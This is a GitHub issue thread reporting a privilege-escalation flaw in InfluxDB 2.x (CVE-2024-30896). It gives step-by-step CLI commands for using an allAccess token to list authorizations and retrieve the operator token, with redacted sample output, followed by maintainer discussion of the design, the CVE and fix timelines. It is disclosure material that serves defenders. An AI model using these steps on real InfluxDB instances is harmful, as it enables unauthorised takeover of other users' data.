Operator Token Privilege Escalation

[XenoM0rph97]

Summary: A business logic flaw in influxdb allows users who own a valid allAccess token to escalate their privileges at operator level by listing current authorization tokens.

Example Scenario: Attacker might be a user which was gained access by an administrator via an allAccess token only within their organization. This user's permissions will allow full control over the organization but will still prevent him to interact with other orgs.

Impact: This vulnerability would allow a user to obtain unrestricted access to the influxdb instance. A similar condition might fully compromise Confidentiality, Integrity and Availability of data owned by users of different organizations. Additionally, since operator token has administrative permissions, Availability and Integrity of the entire influxdb instance might be compromised.

Prerequisites/Limitations:

1. Attacker must have a valid allAccess token
2. allAccess token must have been created in the same Org where an operator token resides (ex. same Org as Admin user)
3. Attacker must be able to interact with influxdb instance via CLI or APIs (influxClient)

Steps to reproduce:

Scenario setup

1. Access influxdb UI as admin user
2. Create a new user and assign it to any org which contains an operator token (ex. default organization) with:

influx auth user create -o xenoOrg -n xenoUser -p <password> -t <OperatorToken>

3. From influxdb UI generate a new allAccess token within the same org

Exploitation (via CLI):

1. Execute: influx auth ls -t <allAccessToken> | grep write:/orgs. This will list all current active operator tokens on the influxdb instance.

Example

# Using an allAccess token 
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}

0cc41c3b050e5000							U1OuqmFC{REDACTED}	
admin		0cb9c92ee228b000	[read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]

# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs

0cbb920e128e5000							gerKYLO0Ph_ibUk0y{REDACTED}
admin		0cb9c92ee228b000	[read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]

Exploitation (via InfluxClient): PoC Script for influx client

Considerations: This might be an intended behaviour. Although, from the security perspective, a user who was gained limited access to a single entity should never be able to escalate their permissions to interact with other entities. Resulting in a critical business logic flaw.

Potential root cause: allAccess tokens by default have permissions to list all authorizations that are defined in the same Org with no restrictions based on type (custom, allAccess, operator) -> read:orgs/87d0746948a3b3f5/authorizations.

CVSS Base Score: 9.1

CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

[jdstrand]

Thank you for this report. The is intended behavior in that:

• influx setup creates a user, an org and an operator token
• tokens are accessed via /api/v2/authorizations with permissions
• the operator token is put in the first org, which matches the read:orgs/ORIGID/authorizations of the access token
• the raw token string is stored in the system and is displayed with influx auth ls and the UI
• users with read:orgs/ORIGID/authorizations (all access token or otherwise), can influx auth ls tokens, which, if this matches the first org, shows the operator token (as you reported)

So, yes, the issue is confirmed. A couple of things:

• while influxdb 2.x OSS has a concept of orgs, influxdb 2.x OSS isn't considered truly multi-tenant but rather single tenant in terms of org isolation (in contrast to InfluxDB Cloud 2 and Serverless). That doesn't mean we can't improve things when it makes sense (see below). For the time being, users will want to take care to not user the default org for users they don't fully trust (we should've been documenting this, but see below)
• putting the operator token in the first org is by design (arguably a better choice could have been made)
• storing and displaying the raw token to users is by design, but this was a poor design choice. Best practice says we should instead only store a secure hash of the token internally (so it can't leak) and adjust the UI and influx output accordingly, as was done in Cloud 2 and Serverless (hinted at by the UI info you mentioned)

This last issue was identified internally prior to this issue and has recently been scheduled for correction by our Engineering team (cc @davidby-influx). Once done and the raw token is no longer stored internally, this issue is fully remediated since while users would be able to see the operator token, nothing sensitive will be leaked via the UI or the influx tool.

Thanks for the issue! I'm going to leave this open and we'll update it when we've implemented this best practice.

[XenoM0rph97]

Thanks for the quick response. I just added a simple PoC script to detect and eventually exploit the vulnerability if the above mentioned conditions are met.

I'll watch this thread for future updates.

[XenoM0rph97]

Gentle reminder on this. I'd like to have this issue officially disclosed since, with the appropriate configuration, customers would be able to mitigate it. Sharing it will help making sure customers will follow this best practice.
Do you have an ECD for the official fix? I know you probably have a very high workload, but the issue has been present here on Github since Mar 2024, I believe it would be better to disclose the CVE soon.

[voiprodrigo]

Hello. This does not affect 1.8, correct?

[jdstrand]

Gentle reminder on this. I'd like to have this issue officially disclosed since, with the appropriate configuration, customers would be able to mitigate it. Sharing it will help making sure customers will follow this best practice. Do you have an ECD for the official fix? I know you probably have a very high workload, but the issue has been present here on Github since Mar 2024, I believe it would be better to disclose the CVE soon.

As described in my prior comment, the behavior is confirmed but the system is operating as designed within the intended functionality of the system (ie, within OSS 2.x orgs are for organization and not true isolation) and we don't have plans to assign a CVE for this. However and importantly, we acknowledge we can improve upon this design by not storing the raw token in the first place. While it has been a while since this issue was filed, the work to improve the situation is (admittedly slowly) approaching the top of the list and is currently scheduled for a (soonish) release of InfluxDB 2.x. (cc @davidby-influx and @gunnaraasen)

[jdstrand]

Hello. This does not affect 1.8, correct?

This is dealing with the /api/v2/authorizations API which only exists in 2.x. 1.x is not affected.

[jdstrand]

As described in my prior comment, the behavior is confirmed but the system is operating as designed within the intended functionality of the system (ie, within OSS 2.x orgs are for organization and not true isolation) and we don't have plans to assign a CVE for this. However and importantly, we acknowledge we can improve upon this design by not storing the raw token in the first place. While it has been a while since this issue was filed, the work to improve the situation is (admittedly slowly) approaching the top of the list and is currently scheduled for a (soonish) release of InfluxDB 2.x. (cc @davidby-influx and @gunnaraasen)

While InfluxDB is operating within its intended design, https://www.cve.org/CVERecord?id=CVE-2024-30896 was assigned for this. As mentioned before, improvements to InfluxDB are planned and scheduled which will address this issue.

[jdstrand]

@XenoM0rph97 - it appears you requested this CVE (see https://github.com/XenoM0rph97/CVE-2024-30896). Assuming that's correct, can you adjust it to say that it only affects 2.x and not 1.x (https://www.cve.org/CVERecord?id=CVE-2024-30896 mentions it affects "InfluxDB through 2.7.10")?

UPDATE: nevermind; I'll use https://cveform.mitre.org/

[nikhilgv]

@jdstrand / @davidby-influx / @gunnaraasen, I'm sure your hands are full, but can we have an ETA for when this would be fixed?

[davidby-influx]

This will be fixed in Q2 2025.

[Yaroslav-DataOx]

This will be fixed in Q2 2025.

Any updates on this?

[davidby-influx]

This fix is in process, and we hope to have it in the next release. It did not make it into v2.7.12 because we needed to release some fixes in that without forcing a security upgrade.

[frankniu139]

hi, can you please advise when next release will be available which includes this fix? We are using 2.1.1 (by a docker image) and customer IT team wants a fix and it seems 2.7.12 isn't including the fix. Or can we just upgrade to 3.x? Thank you.

[davidby-influx]

@frankniu139 - you are correct, 2.7.12 does not contain this fix, as mentioned above. It will first appear in a 2.8 release, because it changes on-disk data format (for tokens in the meta-data). We are actively working on this (the PR is publicly visible), but other releases have taken the team's attention the last few weeks. I'm hard-pressed to give a fixed date for the 2.8 release, because we've had to postpone it for other things a few times. I'd love to get it out in September, but can't make a hard promise, as the team may be sidetracked by issues in commercial versions or with paying customer support.

If V3 fulfills your needs, please test it out!

[frankniu139]

@davidby-influx Thank you for the update.

[atlaser]

Is this issue only for Linux or both Linux and Windows, why I cannot reproduce this issue in Windows?

[Weisant]

Is there any submission records to fix the issue?